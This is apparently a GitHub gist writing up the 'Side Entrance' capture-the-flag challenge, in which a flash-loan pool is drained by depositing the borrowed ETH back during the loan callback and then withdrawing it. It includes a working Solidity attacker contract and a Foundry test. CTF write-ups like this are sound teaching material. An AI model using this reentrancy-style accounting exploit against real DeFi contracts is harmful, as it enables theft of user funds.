Skip to content

Instantly share code, notes, and snippets.

@ChapuKosi
Created February 7, 2025 06:38
Show Gist options
  • Save ChapuKosi/47419de5ccade0e6e4675b0e5fe60cb5 to your computer and use it in GitHub Desktop.
Save ChapuKosi/47419de5ccade0e6e4675b0e5fe60cb5 to your computer and use it in GitHub Desktop.
Side Entrance Pool Exploit

Side Entrance Challenge Exploit

Challenge Overview

A flash loan pool allows users to borrow ETH but tracks balances separately from actual ETH holdings. The goal is to drain all ETH from the pool.

Vulnerability

The pool uses an internal balance tracking system (balances mapping) that can be manipulated during flash loans. By depositing borrowed ETH back into the pool during the loan, attackers bypass repayment checks.

Exploit Steps

  1. Borrow ETH via flash loan.
  2. Deposit the borrowed ETH back into the pool.
  3. Withdraw the deposited ETH after the loan.
  4. Send stolen ETH to recovery address.

How to Run

forge test --match-contract SideEntranceChallenge -vvv

Technical Notes: Side Entrance Exploit

Contract Analysis

  • SideEntranceLenderPool.sol:
    • Tracks user balances via balances mapping.
    • Uses flashLoan with callback to execute().
    • Flaw: Allows depositing ETH during flash loans, mixing borrowed/pool ETH.

Key Vulnerability

Balance Tracking Discrepancy:
The pool checks address(this).balance >= balanceBefore + amount but allows attackers to artificially inflate balances during the loan via deposit().

Attack Flow

sequenceDiagram
    Attacker->>Pool: flashLoan(1000 ETH)
    Pool->>Attacker: send 1000 ETH
    Attacker->>Pool: deposit(1000 ETH) via execute()
    Pool->>Pool: Update balances[attacker] += 1000 ETH
    Attacker->>Pool: repay 1000 ETH (from deposit)
    Attacker->>Pool: withdraw()
    Pool->>Attacker: send 1000 ETH
```solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;
import {Test} from "forge-std/Test.sol";
import {SideEntranceLenderPool} from "./SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool private pool;
address private recovery;
constructor(SideEntranceLenderPool _pool, address _recovery) {
pool = _pool;
recovery = _recovery;
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
payable(recovery).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
receive() external payable {}
}
contract SideEntranceChallenge is Test {
// ... (keep the original test setup and validation code)
function test_sideEntrance() public checkSolvedByPlayer {
Attacker attacker = new Attacker(pool, recovery);
attacker.attack(ETHER_IN_POOL);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment